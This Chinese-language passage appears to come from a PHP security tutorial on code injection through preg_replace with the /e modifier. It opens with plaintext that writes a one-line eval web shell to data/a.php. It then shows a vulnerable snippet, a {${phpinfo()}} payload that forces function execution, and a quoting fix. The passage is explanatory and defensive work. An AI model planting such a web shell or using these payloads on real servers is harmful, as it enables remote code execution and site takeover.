密文对应的明文是:
fputs
(
fopen
(data/a.php,w),<?php
eval
(
$_POST
[cmd])?>);
执行的结果是在/data/
目录下生成一个一句话木马文件 a.php
。
再来一个有难度的例子:
复制代码 代码如下:
<?
function
test(
$str
)
{
}
echo
preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")',
$_GET
["h"]);
?>
提交 ?h=[php]phpinfo()[/php],phpinfo()
会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时 phpinfo 仅是
被当做一个字符串参数了。
有没有办法让它执行呢?
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么
呢?
在 php 中,双引号里面如果包含有变量,php 解释器会将其替换为变量解释后的结果;单
引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数
被执行的效果(${phpinfo()}
会被解释执行)。
可以先做如下测试:
代码如下:
echo
"{${phpinfo()}}";
phpinfo
会被成功执行了。
如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')"
‘
,这样 ${phpinfo()}'就会被当做一个普通的字符串处理(单
引号中的变量不会被处理)。